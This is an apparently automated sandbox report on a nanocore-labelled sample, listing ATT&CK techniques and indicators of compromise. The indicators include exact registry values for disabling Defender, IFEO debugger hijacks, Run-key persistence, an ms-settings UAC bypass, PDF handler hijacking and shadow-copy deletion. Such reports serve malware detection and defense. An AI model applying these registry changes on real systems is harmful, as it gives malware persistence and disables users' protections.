nanocore | 8a316917a1bb3272d8d5ea0a566216440e150eaf4780685ec5f55846637874e0

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	allforms.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
256	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	allforms.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	allforms.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	allforms.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\allforms.io_chrome.exe"	allforms.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	allforms.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\allforms.io_chrome.exe"	allforms.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	allforms.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\allforms.io_chrome.exe"	allforms.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4840	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	allforms.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	allforms.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	allforms.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\allforms.io_chrome.exe"	allforms.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\allforms.io_chrome.exe"	allforms.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\allforms.io_chrome.exe"	allforms.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2828	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	allforms.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	allforms.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	allforms.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4844	wscript.exe
3224	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	allforms.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	allforms.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4184	sc.exe
2348	sc.exe
568	sc.exe
4604	sc.exe
2348	sc.exe
5664	sc.exe
5640	sc.exe
2508	sc.exe
1060	sc.exe
3004	sc.exe
2660	sc.exe
5452	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5664	cmd.exe
3900	cmd.exe
360	cmd.exe
348	cmd.exe
4992	cmd.exe
3432	cmd.exe
3420	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2372	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4168	ipconfig.exe
2732	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4868	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2388	vssadmin.exe
4460	vssadmin.exe
3576	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\WallpaperStyle = "2"	allforms.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134303330881492817"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell	allforms.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\allforms.io_chrome.exe"	allforms.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	allforms.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings	allforms.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell\open\command\DelegateExecute	allforms.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell\open\command	allforms.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	allforms.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	allforms.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	allforms.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell\open\command	allforms.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings	allforms.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	allforms.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell\open	allforms.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell\open	allforms.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell	allforms.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\allforms.io_chrome.exe\" \"%1\""	allforms.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4224	schtasks.exe
2700	schtasks.exe
3292	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1848	chrome.exe
1848	chrome.exe
256	powershell.exe
256	powershell.exe
256	powershell.exe
5384	WMIC.exe
5384	WMIC.exe
5384	WMIC.exe
5384	WMIC.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
1744	WMIC.exe
1744	WMIC.exe
1744	WMIC.exe
1744	WMIC.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
2884	WMIC.exe
2884	WMIC.exe
2884	WMIC.exe
2884	WMIC.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe
4348	allforms.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4348	allforms.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1848	chrome.exe
Token: SeCreatePagefilePrivilege	1848	chrome.exe
Token: SeShutdownPrivilege	1848	chrome.exe
Token: SeCreatePagefilePrivilege	1848	chrome.exe
Token: SeShutdownPrivilege	1848	chrome.exe
Token: SeCreatePagefilePrivilege	1848	chrome.exe
Token: SeDebugPrivilege	256	powershell.exe
Token: SeShutdownPrivilege	1848	chrome.exe
Token: SeCreatePagefilePrivilege	1848	chrome.exe
Token: SeShutdownPrivilege	1848	chrome.exe
Token: SeCreatePagefilePrivilege	1848	chrome.exe
Token: SeShutdownPrivilege	1848	chrome.exe
Token: SeCreatePagefilePrivilege	1848	chrome.exe
Token: SeShutdownPrivilege	1848	chrome.exe
Token: SeCreatePagefilePrivilege	1848	chrome.exe
Token: SeShutdownPrivilege	1848	chrome.exe
Token: SeCreatePagefilePrivilege	1848	chrome.exe
Token: SeIncreaseQuotaPrivilege	5384	WMIC.exe
Token: SeSecurityPrivilege	5384	WMIC.exe
Token: SeTakeOwnershipPrivilege	5384	WMIC.exe
Token: SeLoadDriverPrivilege	5384	WMIC.exe
Token: SeSystemProfilePrivilege	5384	WMIC.exe
Token: SeSystemtimePrivilege	5384	WMIC.exe
Token: SeProfSingleProcessPrivilege	5384	WMIC.exe
Token: SeIncBasePriorityPrivilege	5384	WMIC.exe
Token: SeCreatePagefilePrivilege	5384	WMIC.exe
Token: SeBackupPrivilege	5384	WMIC.exe
Token: SeRestorePrivilege	5384	WMIC.exe
Token: SeShutdownPrivilege	5384	WMIC.exe
Token: SeDebugPrivilege	5384	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5384	WMIC.exe
Token: SeRemoteShutdownPrivilege	5384	WMIC.exe
Token: SeUndockPrivilege	5384	WMIC.exe
Token: SeManageVolumePrivilege	5384	WMIC.exe
Token: 33	5384	WMIC.exe
Token: 34	5384	WMIC.exe
Token: 35	5384	WMIC.exe
Token: 36	5384	WMIC.exe
Token: SeBackupPrivilege	4420	vssvc.exe
Token: SeRestorePrivilege	4420	vssvc.exe
Token: SeAuditPrivilege	4420	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5384	WMIC.exe
Token: SeSecurityPrivilege	5384	WMIC.exe
Token: SeTakeOwnershipPrivilege	5384	WMIC.exe
Token: SeLoadDriverPrivilege	5384	WMIC.exe
Token: SeSystemProfilePrivilege	5384	WMIC.exe
Token: SeSystemtimePrivilege	5384	WMIC.exe
Token: SeProfSingleProcessPrivilege	5384	WMIC.exe
Token: SeIncBasePriorityPrivilege	5384	WMIC.exe
Token: SeCreatePagefilePrivilege	5384	WMIC.exe
Token: SeBackupPrivilege	5384	WMIC.exe
Token: SeRestorePrivilege	5384	WMIC.exe
Token: SeShutdownPrivilege	5384	WMIC.exe
Token: SeDebugPrivilege	5384	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5384	WMIC.exe
Token: SeRemoteShutdownPrivilege	5384	WMIC.exe
Token: SeUndockPrivilege	5384	WMIC.exe
Token: SeManageVolumePrivilege	5384	WMIC.exe
Token: 33	5384	WMIC.exe
Token: 34	5384	WMIC.exe
Token: 35	5384	WMIC.exe
Token: 36	5384	WMIC.exe
Token: SeShutdownPrivilege	1848	chrome.exe
Token: SeCreatePagefilePrivilege	1848	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe
1848	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4348	allforms.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4348 wrote to memory of 1848	4348	allforms.io_chrome.exe	89
PID 1848 wrote to memory of 248	1848	chrome.exe	90
PID 4348 wrote to memory of 256	4348	allforms.io_chrome.exe	91
PID 4348 wrote to memory of 2508	4348	allforms.io_chrome.exe	93
PID 1848 wrote to memory of 3228	1848	chrome.exe	95
PID 1848 wrote to memory of 2372	1848	chrome.exe	96
PID 1848 wrote to memory of 3228	1848	chrome.exe	95
PID 1848 wrote to memory of 3456	1848	chrome.exe	98
PID 1848 wrote to memory of 3456	1848	chrome.exe	98
PID 1848 wrote to memory of 2980	1848	chrome.exe	99
PID 1848 wrote to memory of 2188	1848	chrome.exe	100
PID 1848 wrote to memory of 2980	1848	chrome.exe	99
PID 1848 wrote to memory of 2188	1848	chrome.exe	100
PID 4348 wrote to memory of 1060	4348	allforms.io_chrome.exe	101
PID 4348 wrote to memory of 3004	4348	allforms.io_chrome.exe	197
PID 4348 wrote to memory of 568	4348	allforms.io_chrome.exe	105
PID 4348 wrote to memory of 4604	4348	allforms.io_chrome.exe	107
PID 1848 wrote to memory of 3432	1848	chrome.exe	143
PID 1848 wrote to memory of 3432	1848	chrome.exe	143
PID 4348 wrote to memory of 2348	4348	allforms.io_chrome.exe	161
PID 4348 wrote to memory of 2660	4348	allforms.io_chrome.exe	112
PID 4348 wrote to memory of 5664	4348	allforms.io_chrome.exe	140
PID 4348 wrote to memory of 5188	4348	allforms.io_chrome.exe	116
PID 4348 wrote to memory of 5640	4348	allforms.io_chrome.exe	117
PID 4348 wrote to memory of 5452	4348	allforms.io_chrome.exe	130
PID 5188 wrote to memory of 3628	5188	fodhelper.exe	121
PID 4348 wrote to memory of 3576	4348	allforms.io_chrome.exe	122
PID 4348 wrote to memory of 5384	4348	allforms.io_chrome.exe	124
PID 4348 wrote to memory of 4844	4348	allforms.io_chrome.exe	131
PID 4348 wrote to memory of 4224	4348	allforms.io_chrome.exe	132
PID 4348 wrote to memory of 2700	4348	allforms.io_chrome.exe	134
PID 4348 wrote to memory of 5668	4348	allforms.io_chrome.exe	137
PID 4348 wrote to memory of 5664	4348	allforms.io_chrome.exe	140
PID 4348 wrote to memory of 3420	4348	allforms.io_chrome.exe	142
PID 4348 wrote to memory of 3432	4348	allforms.io_chrome.exe	143
PID 4348 wrote to memory of 4992	4348	allforms.io_chrome.exe	144
PID 4348 wrote to memory of 348	4348	allforms.io_chrome.exe	145
